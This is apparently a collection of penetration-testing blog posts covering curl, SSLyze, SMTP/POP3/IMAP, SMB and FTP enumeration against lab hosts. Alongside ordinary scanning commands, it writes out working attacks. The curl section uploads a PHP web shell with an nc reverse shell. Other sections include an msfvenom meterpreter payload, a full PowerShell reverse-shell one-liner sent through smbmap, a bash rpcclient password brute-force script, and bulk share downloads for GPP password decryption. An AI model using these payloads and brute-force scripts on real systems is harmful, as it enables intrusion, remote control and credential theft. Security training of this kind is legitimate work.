HTTP/HTTPS Enumeration using curl

by Vry4n_ | Aug 25, 2020 | Active Gathering

curl, short for “Client for URLs”, is a command line tool for transferring data using various protocols. This tool has applications in many household products such as tablets, printers, cars, routers, etc.

There is a vast amount of use-cases for curl, such as:

• FTP upload
• Proxy support
• SSL connections
• HTTP post

This tool also supports the use of all the following protocols: DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, and TFTP.

Different uses

1. Basic help

• curl –help

2. Run a basic HTTP GET request

• curl vk9-sec.com

3. Return only the HTTP header

-I, –head = Show document info only

-v, –verbose = Make the operation more talkative

• curl -I https://vk9-sec.com

4. List the methods allowed

• curl -X OPTIONS http://192.168.0.105/test -v

5. Use a cookie

-b, –cookie <data|filename> = Send cookies from string/file

• curl localhost:8080/urlstuffhere -b “JSESSIONID=cookievalue”

6. Exploiting PUT method

The PUT method is particularly dangerous. If you upload arbitrary files within

the web root, the first target is to create a backdoor script on the server that will be executed by a server-side module, thereby giving the attacker full control of the application, and often the web server itself. For this example a will create a PHP reverse connection

• curl -X PUT -d ‘<?php echo shell_exec(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.20 443 >/tmp/f”); ?>’ http://192.168.0.6/test/reverse_shell.php -v

Having a listener on the Kali / Parrot machine waiting for the new file to be executed by visiting the page

• sudo nc -lvpn 443
• whoami && hostname

7. If DELETE method is available you can delete files

• curl -X DELETE http://192.168.0.6/test/rshell1.php -v

8. Check support for HTTP/2

• curl -I –http2 http://192.168.0.6 -v

curl PUT upload & Metasploit

1. Create a payload with MSFVenom

• msfvenom -l payloads | grep php
• msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=443 -f raw > reverse.php
• cat reverse.php

2. Start a listener in metasploit

• sudo msfdb init
• sudo msfconsole
• use exploit/multi/hlander
• set payload php/meterpreter/reverse_tcp
• set LHOST 192.168.0.13
• set LPORT 443
• exploit

3. Another way to upload a file is using ‘-T’ option, When the server allows PUT method, we can place a file to a directory, also, the application need write permissions to that folder. You also may need to test different http versions

• curl -T reverse.php http://192.168.0.105/test/reverse1.php –http1.0

4. Since, we already started the listener, lets execute the script, by visiting the hosting page /test, we can see the script uploaded, click on it

• http://192.168.0.105/test

5. You can also navigate straight to the script

• http://192.168.0.105/test/reverse1.php

6. Once the script is executed, we should receive the connection back

7. We could also start the script from CLI

• curl -X GET http://192.168.0.105/test/reverse1.php -v

Testing SSL/TLS certificates (SSLyze)

by Vry4n_ | Jun 16, 2020 | Active Gathering

It allows you to analyze the SSL/TLS configuration of a server by connecting to it, in order to detect various issues (bad certificate, weak cipher suites, Heartbleed, ROBOT, TLS 1.3 support, etc.).

It is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify misconfigurations affecting their SSL servers.

Key features include:

• Multi-processed and multi-threaded scanning (it’s fast)
• SSL 2.0/3.0 and TLS 1.0/1.1/1.2 compatibility
• Performance testing: session resumption and TLS tickets support
• Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more
• Server certificate validation and revocation checking through OCSP stapling
• Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP and FTP
• Support for client certificates when scanning servers that perform mutual authentication
• XML output to further process the scan results

https://github.com/iSECPartners/sslyze

For this example, we will analyze a website certificate as well as a self-signed certificate. To create a certificate visit. https://vk9-sec.com/how-to-create-a-self-signed-certificate-openssl/

Basics

1. To download the tool (it already comes installed in most security distros)

• git clone https://github.com/iSECPartners/sslyze.git
• ls -ld sslyze

You could also run these commands if you face any issues running the script

• pip install –upgrade setuptools
• php install –upgrade sslyze

2. Run basic help

-h, –help = show this help message and exit

• sslyze -h

3. Check for the tool version

–version = show program’s version number and exit

• sslyze –version

4. Updade the trust stores

–update_trust_stores = Update the default trust stores used by SSLyze. The latest stores will be downloaded from https://github.com/nabla-c0d3/trust_stores_observatory.

• sudo sslyze –update_trust_stores

How run the application

1. Perform a basic scan on a website

–regular = Regular HTTPS scan; shortcut for –sslv2 –sslv3 –tlsv1 –tlsv1_1 –tlsv1_2 –tlsv1_3 –reneg –resum –certinfo –hide_rejected_ciphers –compression –heartbleed –openssl_ccs –fallback –robot

• sslyze –regular www.vk9-sec.com

2. To save the results to file run

• sslyze –regular www.vk9-sec.com –json_out=results.json
• cat results.json

To write the file and don’t print anything on the screen use –quet

–quiet = Do not output anything to stdout; useful when using –json_out

• sslyze –regular www.vk9-sec.com –json_out=results.json –quiet

3. To check for a list of targets

–targets_in=TARGETS_IN = Read the list of targets to scan from the file TARGETS_IN. It should contain one host:port per line.

• vi sites.txt
• cat sites.txt (vk9-sec.com:443)
• sslyze –regular –targets_in=sites.txt

4. Run a slow and less aggressive test, but more accurate

• sslyze –regular www.vk9-sec.com –slow_connection

5. Scanning for some protocols at the target

–starttls=STARTTLS = Perform a StartTLS handshake when connecting to the target server(s).

• sslyze www.vk9-sec.com –starttls=auto

Types of scan

1. Scan for TLS 1.1 support

–tlsv1_1 = Test a server for TLS 1.1 support.

• sslyze www.vk9-sec.com –tlsv1_1

2. Test a server for the OpenSSL CCS Injection

• sslyze www.vk9-sec.com –openssl_ccs

3. Test a server for the TLS_FALLBACK_SCSV mechanism to prevent downgrade attacks.

• sslyze www.vk9-sec.com –fallback

4. Test a server for SSL 3.0 support.

• sslyze www.vk9-sec.com –sslv3

5. Test a server for the OpenSSL Heartbleed vulnerability.

• sslyze www.vk9-sec.com –heartbleed

6. Test a server for the ROBOT vulnerability.

• sslyze www.vk9-sec.com –robot

7. Test a server for the presence of security-related HTTP headers.

• sslyze www.vk9-sec.com –http_headers

8. Test a server for TLS 1.3 early data support.

• sslyze www.vk9-sec.com –early_data

9. Test a server for for insecure TLS renegotiation and client-initiated renegotiation.

• sslyze www.vk9-sec.com –reneg

10. Test a server for TLS compression support, which can be leveraged to perform a CRIME attack.

• sslyze www.vk9-sec.com –compression

11. Test a server for session resumption support using session IDs and TLS tickets.

• sslyze www.vk9-sec.com –resum

12. Test a server for TLS 1.3 support.

• sslyze www.vk9-sec.com –tlsv1_3

13. Test a server for SSL 2.0 support.

• sslyze www.vk9-sec.com –sslv2

14. Retrieve and analyze a server’s certificate(s) to verify its validity.

• sslyze www.vk9-sec.com –certinfo

25,110,143/tcp SMTP,POP3,IMAP – Enumeration

by Vry4n_ | Apr 17, 2020 | Active Gathering

SMTP is an application layer protocol. The client who wants to send the mail opens a TCP connection to the SMTP server and then sends the mail across the connection. The SMTP server is always on listening mode. As soon as it listens for a TCP connection from any client, the SMTP process initiates a connection on that port (25). After successfully establishing the TCP connection the client process sends the mail instantly.

Using a process called “store and forward,” SMTP moves your email on and across networks. It works closely with something called the Mail Transfer Agent (MTA) to send your communication to the right computer and email inbox.

How this works

• First, an e-mail server uses SMTP to send a message from an e-mail client, such as Outlook or Gmail, to an e-mail server.
• Second, the e-mail server uses SMTP as a relay service to send the e-mail to the receiving e-mail server.
• Third, the receiving server uses an e-mail client to download incoming mail via IMAP and place it in the inbox of the recipient.

SMTP vs IMAP vs POP3

• SMTP is used to send, relay or forward messages from a mail client, but cannot retrieve messages. Uses port 25, also could use 587 and 465 for TLS
• IMAP is an e-mail protocol that deals with managing and retrieving e-mail messages, used in receiving emails, not sending them. Uses port 143 or 993 for TLS
• POP3 is used to retrieve messages from an email server to a mail client, uses port 110, 995 for TLS

SMTP Commands

SMTP Responses

POP3 commands

IMAP Commands

IMAP vs POP3 comparison

Example of SMTP conversation

===========================================

220 mx1.example.com ESMTP Postfix

HELO vk9security.com

250 mx1.vk9security.com

MAIL FROM:<example@vk9security.com >

250 2.1.0 Ok

RCPT TO:<example2@vk9security.com >

250 2.1.5 Ok

DATA

354 End data with <CR><LF>.<CR><LF>

This is a test message.

.

250 2.0.0 Ok: queued as 4227FE00C

QUIT

221 2.0.0 Bye

===========================================

Enumeration

POP3

Telnet

1. Connect to the server via telnet

• telnet 10.10.10.51 110

2. Enumerate users

+OK = exists

-ERR = doesn’t exist

• USER billydean
• USER vry4n

3. If you got credentials you could access and read emails, since, POP3 is designed to retrieve emails

USER = username

PASS = password

• USER mindy
• PASS Password3

4. List Emails in this profile & read any

• LIST
• RETR 2

5. Check for number and size of messages

• STAT

Nmap

1. Enumerate Domains

• nmap -p 110,995 –script pop3-ntlm-info 10.10.10.51

2. Display what commands are allowed

• nmap -p 110,995 –script pop3-capabilities 10.10.10.51

SMTP

Telnet

1. Access the service, in this case we care even displayed the domain

• telnet 192.168.0.7 25

2. Verify if an email account exists

Pass = If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.

Fail = if you received a message code 550 it means invalid user account

• vrfy root
• vrfy vry4n
• vrfy msfadmin
• vrfy msfadmin@metasploitable.localdomain

Metasploit

1. Enumerate the service version, and, grab banner

• use auxiliary/scanner/smtp/smtp_version
• show options
• set RHOST 192.168.0.7
• exploit

2. Enumerate users using a list

• use auxiliary/scanner/smtp/smtp_enum
• show options
• set RHOST 192.168.0.7
• exploit
• <optional> set USER_FILE new_list.txt

3.Detect an open relay

• use auxiliary/scanner/smtp/smtp_relay
• show options
• set MAILFROM root@metasploitable.localdomain
• set MAILTO msfadmin@metasploitable.localdomain
• set RHOST 192.168.0.7
• exploit

smtp-user-enum

1. Download the app

• git clone https://github.com/pentestmonkey/smtp-user-enum.git
• cd smtp-user-enum
• ls -l

2. Display help menu

• ./smtp-user-enum.pl -h

3. Enumerate users using VRFY method

-M mode = Method to use for username guessing EXPN, VRFY or RCPT (default: VRFY)

• ./smtp-user-enum.pl -M VRFY -u msfadmin -t 192.168.0.7

4. Enumerate users using a list

• ./smtp-user-enum.pl -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.0.7

5. Verify user email address, and domain

• ./smtp-user-enum.pl -M VRFY -D metasploitable.localdomain -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.0.7

ISMTP

1. Download the application

• wget https://raw.githubusercontent.com/altjx/ipwn/master/iSMTP/iSMTP.py

2. Display basic help

3. Validate email addresses using a list from a file

-e <file> = Enable SMTP user enumeration testing and imports email list.

-h <host> = The target IP and port (IP:port).

• python iSMTP.py -e email_list.txt -h 192.168.0.7

4. Using a specific method

-l <1|2|3> = Specifies enumeration type (1 = VRFY, 2 = RCPT TO, 3 = all).

• python iSMTP.py -e email_list.txt -l 2 -h 192.168.0.7

IMAP

Telnel or open SSL

1. Connect to the service using Telnet (unsecure 143) or openssl (secure 993)

• openssl s_client -crlf -connect 10.10.10.120:993
• ncat –ssl 10.10.10.120 993
• telnet 10.10.10.120 143

2. Knowing credentials you can log in

https://tools.ietf.org/html/rfc3501

https://busylog.net/telnet-imap-commands-note/

• A001 login ayush jiujitsu

3. Testing wrong credentials

• A001 login vry4n test

4. You can connect to the IMAP service using an email client like thunderbird to retrieve emails. You could also do it from the CLI

• A001 LIST “” “*”

Here we can see 3 folders Drafts, Sent, Inbox

5. Choose one of those

• A001 SELECT Drafts

6. Open emails

• A001 FETCH 1 BODY[]

nmap

1. Run scripts to have a little more insight

• nmap -p 143,993 –script imap-capabilities,imap-ntlm-info 10.10.10.120

Metasploit

1. Grab version and banner

• use auxiliary/scanner/imap/imap_version
• show options
• set RHOSTS 10.10.10.120
• exploit

139,445/tcp – SMB Enumeration

by Vry4n_ | Apr 17, 2020 | Active Gathering

Vulnerabilities in SMB Shares are Medium risk vulnerability that is one of the most frequently found on networks around the world. This issue has been around since at least 1990 but has proven either difficult to detect, difficult to resolve or prone to being overlooked entirely.

Things that might be interesting:

• check for null session
• listing of shares
• domain info
• password policy
• RID cycling output

Default shares are C$, ADMIN$, IPC$

Working ports below:

• Port 135 – Remote Procedure Call (RPC)
• Port 137 – NetBIOS Name Service
• Port 138 – NetBIOS Datagram Service
• Port 139 – NetBIOS Session Service

Information that can be gained includes (but not limited to):

• Users and groups / shares
• Operating system information
• Password policies / Password hashes
• Privileges / Permissions
• Available shares

OS targets:

• Windows server before 2003, 2008, 2012, 2016
• Older Unix and Linux hosts

Before going more deeper, it’s very important to understand services we are targeting i.e NETBIOS. NETBIOS provides three distinct services:

• Session service (NetBIOS-SSN) for connection-oriented communication.
• Name Service (NETBIOS-NS) for name registration and resolution.
• Datagram distribution service (NetBIOS-DGM) for connectionless communication.

From above three services, we only going to focus on first two of them i.e NetBIOS-SSN & NETBIOS-NS

Session service (NetBIOS-SSN)

• Session mode lets two computers establish a connection, allows messages to span multiple packets, and provides error detection and recovery. In NBT (Netbios over TCP/IP), the session service runs on TCP port 139.

Name Service (NetBIOS-NS)

• In order to start sessions or distribute datagrams, an application must register its NetBIOS name using the name service.
• NetBIOS names are 16 octets in length and vary based on the particular implementation.
• The name service operates on UDP port 137 (TCP port 137 can also be used, but rarely is).

SAMBA

• Samba is a free software re-implementation of the SMB/CIFS networking protocol, and was originally developed by Andrew Tridgell.
• Samba provides file and print services.
• Samba runs on most Unix, OpenVMS and Unix-like systems, such as Linux, Solaris, AIX and the BSD variants, including Apple’s OS X Server, and OS X client (version 10.2 and greater).
• The name Samba comes from SMB (Server Message Block), the name of the standard protocol used by the Microsoft Windows network file system.

Enumeration

Metasploit

All these are modules that can help scan SMB

1. Identify SMB1 version

• use auxiliary/scanner/smb/smb1
• set RHOST 192.168.0.10
• set RPORT 139
• exploit

2. Identifies SMB2

• use auxiliary/scanner/smb/smb2
• set RHOST 192.168.0.10
• set RPORT 139
• exploit

3. Enumerate Shares

• auxiliary/scanner/smb/smb_enumshares
• set RHOST 192.168.0.10
• set RPORT 139
• exploit

4. Enumerate users (can set a list of users and passwords to test)

• auxiliary/scanner/smb/smb_enumusers
• set RHOST 192.168.0.10
• set RPORT 139
• exploit
• show options

These are additional modules that can be used for further enumeration

• auxiliary/scanner/smb/smb_login
• auxiliary/scanner/smb/smb_lookupsid
• auxiliary/scanner/smb/smb_ms17_010
• auxiliary/scanner/smb/smb_uninit_cred
• auxiliary/scanner/smb/smb_version
• auxiliary/scanner/smb/smb_enum_gpp
• auxiliary/scanner/smb/smb_enumusers_domain

Nmap

1. Basic SMB enumeration scripts

• nmap -p 139, 445 –script smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-services,smb-enum-sessions,smb-enum-shares,smb-enum-users 192.168.0.10
• nmap –script smb-enum* -p 139,445 192.168.0.10

2. Scanning for known vulnerabilities

• nmap -p 139, 445 –script smb-vuln-conficker,smb-vuln-cve-2017-7494,smb-vuln-cve2009-3103,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-regsvc-dos,smb-vuln-webexec 192.168.0.10
• nmap –script smb-vuln* -p 139,445 192.168.0.10

3. Host information

• nmap -p 139, 445 –script smb-os-discovery,smb-protocols,smb-psexec,smb-security-mode,smb-server-stats,smb-system-info 192.168.0.10

4. Scan for SMB2

nmap -p 139, 445 –script smb2-capabilities,smb2-security-mode,smb2-time,smb2-vuln-uptime 192.168.0.10

nmblookup

NetBIOS over TCP/IP client used to lookup NetBIOS names

-A, –lookup-by-ip = Do a node status on <name> as an IP Address

• nmblookup -A 192.168.0.10

smbmap

SMB enumeration tool

1. Enumerate Shares

-H HOST = IP of host

-P PORT = SMB port (default 445)

• smbmap -H 192.168.0.10
• smbmap -P 139 -H 192.168.0.10

2. Enumerate host OS

-v = Return the OS version of the remote host

• smbmap -v -P 139 -H 192.168.0.10

3. Do recursive enumeration of directories and files based on a shares

-r [PATH] = List contents of directory, default is to list root of all shares, ex. -r ‘C$\Documents’

• smbmap -r ‘kathy’ -P 139 -H 192.168.0.10

-R [PATH] = Recursively list dirs, and files (no share\path lists ALL shares), ex. ‘C$\Finance’

• smbmap -R ‘kathy’ -P 139 -H 192.168.0.10

4. Only show READ/WRITE directories

-q = Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search

• smbmap -P 139 -H 192.168.0.10 -q

5. Display help menu

• smbmap –help

6. Download files from a share

–download PATH = Download a file from the remote system, ex.’C$\temp\passwords.txt’

• smbmap -R ‘tmp’ -P 139 -H 192.168.0.10
• smbmap -P 139 -H 192.168.0.10 –download ‘tmp\ls’
• ls -l 192.168.0.10-tmp_ls
• cat 192.168.0.10-tmp_ls

7. Upload a file to a share, need write access

–upload SRC DST = Upload a file to the remote system ex. ‘/tmp/payload.exe C$\temp\payload.exe’

• smbmap -P 139 -H 192.168.0.10 –upload “test.txt” ‘tmp\test.txt’
• smbmap -R ‘tmp’ -P 139 -H 192.168.0.10

8. Delete files

–delete PATH TO FILE = Delete a remote file, ex. ‘C$\temp\msf.exe’

• smbmap -P 139 -H 192.168.0.10 –delete ‘tmp\test.txt’
• smbmap -R ‘tmp’ -P 139 -H 192.168.0.10

9. You can use User credentials to check on the shares

-u USERNAME = Username, if omitted null session assumed

-p PASSWORD = Password or NTLM hash

• smbmap -u SHayslett -p SHayslett -H 192.168.0.10 -P 139

10 You can execute systems commands

-x COMMAND = Execute a command ex. ‘ipconfig /all’

• smbmap -x ‘ifconfig’ -H 192.168.0.10

11. Specify a domain and share

-s SHARE = Specify a share (default C$), ex ‘C$’

-d DOMAIN = Domain name (default WORKGROUP)

• smbmap -d WORKGROUP -s kathy -H 192.168.0.10

12. Reverse shell

• smbmap -u jsmith -p ‘R33nisP!nckle’ -d ABC -H 192.168.2.50 -x ‘powershell -command “function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=””””192.168.0.153″”””; $port=””””4445″”””;$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=””””cmd.exe”””” ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length – $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out=”””” “”””}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};”‘

enum4linux

Enum4linux is a tool for enumerating information from Windows and Samba systems.

1. Display basic help

• enum4linux –help

2. Basic command to run all the scripts

-a = Do all simple enumeration (-U -S -G -P -r -o -n -i)

• enum4linux -a 192.168.0.10

3. You can specify a username and password if you know one

-u user specify username to use (default “”)

-p pass specify password to use (default “”)

• enum4linux -u user -p password 192.168.0.10

4. Check to see if a user exists on the system

-k user = User(s) that exists on remote system (default: administrator,guest,krbtgt,domain,admins,root,bin,none)

• enum4linux -k Ronaldo 192.168.0.10

nbtscan

This is a command utility that tries to scan NetBIOS name servers open on a local or remote TCP/IP network and because it is a first step in finding open shares.

1. Basic help

• nbtscan

2. Basic scan, it can be an IP or a network range

• nbtscan 192.168.0.10

3. Use local port 137 for scans

-r use local port 137 for scans. Win95 boxes respond to this only.

• nbtscan 192.168.0.10 -r

rpcclient

rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself

1. Display basic help

• rpcclient –help

2. Stablish a null session, only available in SMB1

-N, –no-pass = Don’t ask for a password

• rpcclient -U “” -N 192.168.0.10

3. Having a communication you can enumerate more than you think

• srvinfo

• querydominfo

• getdompwinfo

• netshareenum

4. Using credentials can help explore more than what null session provides

• rpcclient -U james 10.10.10.52
• <Password> – J@m3s_P@ssW0rd!

5. Enumerate users (RID)

• enumdomusers

• queryuser 0x1f4

• lookupnames administrator

6. Enumerate groups (RID)

• enumdomgroups

• querygroup 0x201

• querygroupmem 0x201

• enumalsgroups domain

• enumalsgroups builtin

7. Enumerate credentials

• getdompwinfo

• getusrdompwinfo 0x1f4

8. You can also try to brutefoce by running a command, and test passwords, we know that min_password_length is 7 char

Success

• rpcclient -U james -c “getusername;quit” 10.10.10.52
• rpcclient -U james%J@m3s_P@ssW0rd! -c “getusername;quit” 10.10.10.52

Failure

• rpcclient -U james -c “getusername;quit” 10.10.10.52

Bash script

1. This script will go through a password list and test the rpcclient command until it guesses the password, then writes a file named password_result.txt with the actual hit

• vi smb_bruteforce.sh

for i in `cat pass.txt`; do

if rpcclient -U “james%$i” -c “getusername;quit” 10.10.10.52; then

echo “$i” > password_result.txt

echo “[+] The password is $1 and has been saved in password_result.txt”

fi

done

2. Create a wordlist

• cat pass.txt

3. Run the script

• bash smb_bruteforce.sh

4. Read the result

• cat password_result.txt

smbclient

1. Display help

• smbclient –help

2. Connect

• smbclient -L \\10.10.10.100

3. Null session

• smbclient \\\\10.10.10.100\\ipc$
• help

4. Log in as anonymous

• smbclient -L //10.10.10.100/myshare -U anonymous

nullinux

Nullinux is an internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB.

If no username and password are provided in the command line arguments, an anonymous login, or null session, is attempted.

https://github.com/m8r0wn/nullinux

1. Download the tool

• git clone https://github.com/m8r0wn/nullinux.git

2. Run the install script

• cd nullinux
• ls
• sudo bash setup.sh

3. Install python modules (in this case I needed ipparser)

• sudo pip3 install ipparser

4. Run the tool, help menu

-h, –help = show this help message and exit

• python3 nullinux.py -h

5. Basic scan

• python3 nullinux.py 10.10.10.100

6. Using Credentials can give us more information

-u USERNAME, -U USERNAME

-p PASSWORD, -P PASSWORD

• python3 nullinux.py -u james -p J@m3s_P@ssW0rd! 10.10.10.52

Bonus

SMB – Null Session

Net BIOS null Sessions occurs when you connect any remote system without user-name and password. It is usually found in systems with Common Internet File System (CIFS) or Server Message Block (SMB) depending on operating system.

By default null sessions are enabled in Windows 2000 and Windows NT. Actually it is also enabled by default in Windows XP and Windows 2003 Server but they don’t allow enumeration of user accounts.

Null session functionality within the SMB protocol, Null Sessions are a ‘feature’ of Windows allowing an anonymous user to connect to the IPC$ share and enumerate certain information.

Some of these shares allow one to access the complete storage device on remote systems. For example, C$ will allow one to access the C Drive. Another share, Admin$, allows one to access the Windows installation directory. Folders followed by “$” are hidden.

IPC$ is a special share that is used to facilitate inter-process communication (IPC). That is, it doesn’t allow one to access files or directories like other shares, but rather allows one to communicate with processes running on the remote system.

Connect

Windows:

• net use \\IP_ADDRESS\ipc$ “” /user:””
• net use \\192.168.23.1\ipc$ /u:”” “”
• <enter>
• net use
• net view \\192.168.1.1

Linux:

• rpcclient -U “” IP_ADDRESS
• <enter>

or

• smbclient -L //<IP ADDRESS>
• <enter>

• smbclient //10.10.10.100/Replication
• recurse ON
• prompt OFF
• mget *

This one is used to download all the files from the share, when anonymous log in is enabled.

As an example you could get Groups.xml (deprecated on newer windows 2012, 2016)

gpp-decrypt is used against the hash

smbmap

1. SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands.

• smbmap -H 10.10.10.100

2. Use SMB client to login to the file share that you show any permission READ/WRITE, use a fake user if it fails to connect

• smbmap -u <any user> -H <IP ADDRESS>

3. This one below shows recursive listing. Letting us through the share files.

• smbmap -R <Replication> -H 10.10.10.100 -A <Groups.xml> -q
• smbmap -R -H 10.10.10.100

4. This one is for finding a file, if matches, it downloads it.

• smbmap -d active.htb -u svc_tgs -p GPPstillStandingStrong2k18 -H 10.10.10.100

Using credentials, we may find more permissions.

While connected here are some interesting commands:

‘enumdomusers’, ‘netshareenum’, ‘netshareenumall’, ‘querydominfo’, “netsharegetinfo”, “srvinfo”, “getdompwinfo”, “enumdomgroups”, “querygroup”, “queryuser”, “lookupnames”, “queryaliasmem”, “querygroupmem”, “lookupsids”

Mounting the share to reveal the contents:

1. Create a directory to mount

• mkdir /mnt/smb

2. mount it

• mount -t cifs //<IP ADDRESS>/Backups /mnt/smb
• <enter>

3. show it mounted

• ls -lR /mnt/smb

Tools

Getacct: https://packetstormsecurity.com/search/files/?q=GetAcct

1. rpcbind

2. net use (windows)

3. enum4linux

4. nmap

5. nbtstat (windows)

6. Nmblookup

7. metasploit

(alternatives)

1. Winfo: http://www.ntsecurity.nu/toolbox/winfo/

• Windows domain to which the system belongs
• Security policy settings
• Local usernames
• Drive shares

2. DumpSec: https://www.systemtools.com/somarsoft/index.html

3. Netusers: https://www.systemtools.com/cgi-bin/download.pl?NetUsers

• Abused account privileges
• Users currently logged into the system

4. RID_ENUM: https://github.com/trustedsec/ridenum

Solution

This vulnerability can be mitigated by setting the DWORD value ‘RestrictAnonymous’ to 1 in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA

Block NetBIOS on your Windows server by preventing these TCP ports from passing through your network firewall or personal firewall:

1. 139 (NetBIOS sessions services)
2. 445 (runs SMB over TCP/IP without NetBIOS)

Disable File and Printer Sharing for Microsoft Networks in the Properties tab of the machine’s network connection for those systems that don’t need it.

Docs

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-allow-localsystem-null-session-fallback

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-anonymous-access-to-named-pipes-and-shares

https://www.beyondsecurity.com/scan_pentest_network_vulnerabilities_null_session_availablesmb

https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/

21/tcp FTP – Enumeration

by Vry4n_ | Apr 15, 2020 | Active Gathering

FTP is a method to access and share files on the internet. The protocol is a way to communicate between computers on a TCP/IP network, FTP is a TCP based service exclusively and it is a client-server protocol where a client will communicate with a server.

“File Transfer Protocol,” can transfer files between any computers that have an Inter communication, and also works between computers using totally different operating systems.

Anonymous FTP is a type of FTP that allows users to access files and other data without needing an ID or password.

• Transferring files from a client computer to a server computer is called “uploading”
• Transferring from a server to a client is “downloading”

How does it work

There are two distinct communication channels while establishing an FTP connection.

• Port 21: The first one is called the command channel where it initiates the instruction and response.
• Port 20: The other one is called a data channel, where the distribution of data happens. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.

Types of FTP communication

he FTP server may support Active or Passive connections or both. Most FTP client programs select passive connection mode by default because server administrators prefer it as a safety measure.  Firewalls generally block connections that are “initiated” from the outside.  Using passive mode, the FTP client (like Auto FTP Manager) is “reaching out” to the server to make the connection.  The firewall will allow these outgoing connections, meaning that no special adjustments to firewall settings are required.

Active

Active FTP connection, the client opens a port and listens and the server actively connects to it.

command: client >1023 (to ->) server 21

data: client >1023 (<- to) server 20

• In active mode FTP the client connects from a random unprivileged port (N > 1023) to the FTP server’s command port, port 21.
• Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server.
• The server will then connect back to the client’s specified data port from its local data port, which is port 20.

From the server-side firewall’s standpoint, to support active mode FTP the following communication channels need to be opened:

• FTP server’s port 21 from anywhere (Client initiates connection)
• FTP server’s port 21 to ports > 1023 (Server responds to client’s control port)
• FTP server’s port 20 to ports > 1023 (Server initiates data connection to client’s data port)
• FTP server’s port 20 from ports > 1023 (Client sends ACKs to server’s data port)

Passive

Passive FTP connection, the server opens a port and listens (passively) and the client connects to it.  You must grant Auto FTP Manager access to the Internet and to choose the right type of FTP Connection Mode

command: client >1023 (to ->) server 21

data: client >1024 (to ->) server >1023

• In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server.
• When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1023 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command.
• The result of this is that the server then opens a random unprivileged port (P > 1023) and sends P back to the client in response to the PASV command. The client then initiates the connection from port N+1 to port P on the server to transfer data.

From the server-side firewall’s standpoint, to support passive mode FTP the following communication channels need to be opened:

• FTP server’s port 21 from anywhere (Client initiates connection)
• FTP server’s port 21 to ports > 1023 (Server responds to client’s control port)
• FTP server’s ports > 1023 from anywhere (Client initiates data connection to random port specified by server)
• FTP server’s ports > 1023 to remote ports > 1023 (Server sends ACKs (and data) to client’s data port)

FTP command table

Enumeration

Nmap

1. Basic enumeration scan

• nmap -p 21 -A -sV -sC 192.168.0.7

2. Using NSE scripts

• nmap -p 21 –script ftp-anon,ftp-bounce,ftp-brute,ftp-libopie,ftp-proftpd-backdoor,ftp-syst,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 192.168.0.7

Metasploit

1. Enumerate banner

• use auxiliary/scanner/ftp/ftp_version
• show options
• set RHOSTS 192.168.0.7
• exploit

Secure banner: Edit the config file located in /etc, in our case it is named vsftpd.conf, enable custom banner, by uncommenting the line:

Before

After

Then restart the service and test again.

2. Brute force with Metasploit

• use auxiliary/scanner/ftp/ftp_login
• show options
• set blank_passwords true
• set RHOSTS 192.168.0.7
• set USERNAME anonymous
• exploit

You can set password, username lists, stop on success, etc.

3. Find the privileges of anonymous login

• use auxiliary/scanner/ftp/anonymous
• show options
• set rhosts 192.168.0.7
• exploit

Connect using FTP command

1. Once, the username & password are identified. Or if anonymous log in is enabled. Access the remote service

• ftp 192.168.0.10
• USER: anonymous
• PASS: anonymous

